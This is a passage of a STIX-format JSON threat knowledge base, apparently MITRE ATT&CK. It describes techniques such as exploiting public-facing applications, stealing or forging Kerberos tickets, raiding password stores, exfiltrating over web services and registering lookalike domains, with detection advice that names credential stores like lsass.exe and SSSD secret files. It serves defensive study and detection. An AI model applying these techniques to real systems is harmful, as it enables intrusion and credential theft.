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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Veeral Patel"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "File: File Metadata"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "created": "2018-04-18T17:59:24.739Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1190",
                    "external_id": "T1190"
                },
                {
                    "source_name": "CWE top 25",
                    "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.",
                    "url": "https://cwe.mitre.org/top25/index.html"
                },
                {
                    "source_name": "CIS Multiple SMB Vulnerabilities",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
                },
                {
                    "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021",
                    "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.",
                    "url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/"
                },
                {
                    "source_name": "Recorded Future ESXiArgs Ransomware 2023",
                    "description": "German Hoeffner, Aaron Soehnen and Gianni Perez. (2023, February 7). ESXiArgs Ransomware Targets Publicly-Exposed ESXi OpenSLP Servers. Retrieved March 26, 2025.",
                    "url": "https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers"
                },
                {
                    "source_name": "Wired Russia Cyberwar",
                    "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.",
                    "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"
                },
                {
                    "source_name": "Mandiant Fortinet Zero Day",
                    "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "NVD CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
                },
                {
                    "source_name": "NVD CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "OWASP Top 10",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                }
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            "modified": "2025-04-15T19:58:25.266Z",
            "name": "Exploit Public-Facing Application",
            "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.(Citation: Recorded Future ESXiArgs Ransomware 2023)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Depending on the flaw being exploited, this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
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            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "Network Devices",
                "Windows",
                "macOS",
                "ESXi"
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            "x_mitre_version": "2.7",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a",
            "created": "2020-02-11T19:12:46.830Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1558",
                    "external_id": "T1558"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
                },
                {
                    "source_name": "Microsoft Klist",
                    "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist"
                },
                {
                    "source_name": "ADSecurity Kerberos Ring Decoder",
                    "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.",
                    "url": "https://adsecurity.org/?p=227"
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            "modified": "2025-04-15T19:58:25.352Z",
            "name": "Steal or Forge Kerberos Tickets",
            "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim (Wadhwa-)Brown",
                "Cody Thomas, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0<code>secrets.ldb</code> and <code>.secrets.mkey</code> located in <code>/var/lib/sss/secrets/</code>.",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                "Linux",
                "macOS"
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            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Logon Session: Logon Session Metadata",
                "Active Directory: Active Directory Credential Request",
                "File: File Access"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "created": "2020-02-11T18:48:28.456Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555",
                    "external_id": "T1555"
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
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            "modified": "2025-04-15T22:12:11.343Z",
            "name": "Credentials from Password Stores",
            "description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
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            "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password  or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Process: Process Access",
                "Cloud Service: Cloud Service Enumeration",
                "Process: Process Creation",
                "Process: OS API Execution"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807",
            "created": "2020-03-09T12:51:45.570Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1567",
                    "external_id": "T1567"
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            "modified": "2025-04-15T19:58:25.560Z",
            "name": "Exfiltration Over Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
            "kill_chain_phases": [
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                    "phase_name": "exfiltration"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Office Suite",
                "SaaS",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Flow",
                "File: File Access",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1219",
                    "external_id": "T1219"
                },
                {
                    "source_name": "CrowdStrike 2015 Global Threat Report",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
                },
                {
                    "source_name": "CrySyS Blog TeamSpy",
                    "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                    "url": "https://blog.crysys.hu/2013/03/teamspy/"
                },
                {
                    "source_name": "Google Chrome Remote Desktop",
                    "description": "Google. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://support.google.com/chrome/answer/1649523"
                },
                {
                    "source_name": "Chrome Remote Desktop",
                    "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
                },
                {
                    "source_name": "Symantec Living off the Land",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                    "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:25.651Z",
            "name": "Remote Access Tools",
            "description": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall",
                "Zachary Stanford, @svch0st",
                "Dray Agha, @Purp1eW0lf, Huntress Labs"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "3.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Drive: Drive Creation",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
            "created": "2020-09-30T17:09:31.878Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/001",
                    "external_id": "T1583.001"
                },
                {
                    "source_name": "URI Unique",
                    "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
                    "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
                },
                {
                    "source_name": "PaypalScam",
                    "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
                    "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
                },
                {
                    "source_name": "CISA IDN ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
                },
                {
                    "source_name": "CISA MSS Sep 2020",
                    "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a"
                },
                {
                    "source_name": "bypass_webproxy_filtering",
                    "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.",
                    "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Domain_Steal_CC",
                    "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.",
                    "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"
                },
                {
                    "source_name": "tt_obliqueRAT",
                    "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
                },
                {
                    "source_name": "tt_httrack_fake_domains",
                    "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Categorisation_not_boundary",
                    "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.",
                    "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"
                },
                {
                    "source_name": "URI",
                    "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
                    "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
                },
                {
                    "source_name": "Redirectors_Domain_Fronting",
                    "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.",
                    "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"
                },
                {
                    "source_name": "URI Use",
                    "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
                    "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
                },
                {
                    "source_name": "iOS URL Scheme",
                    "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
                    "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
                },
                {
                    "source_name": "lazgroup_idn_phishing",
                    "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.",
                    "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"
                },
                {
                    "source_name": "httrack_unhcr",
                    "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.",
                    "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:23:15.751Z",
            "name": "Domains",
            "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Wes Hurd",
                "Vinayak Wadhwa, Lucideus",
                "Deloitte Threat Library Team",
                "Oleg Kolesnikov, Securonix",
                "Menachem Goldstein",
                "Nikola Kovac"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Domain Name: Passive DNS",
                "Domain Name: Domain Registration",
                "Domain Name: Active DNS"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "created": "2020-02-20T21:08:52.529Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/002",
                    "external_id": "T1560.002"
                },
                {
                    "source_name": "libzip",
                    "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.",
                    "url": "https://libzip.org/"
                },
                {
                    "source_name": "Zlib Github",
                    "description": "madler. (2017). zlib. Retrieved February 20, 2020.",
                    "url": "https://github.com/madler/zlib"
                },
                {
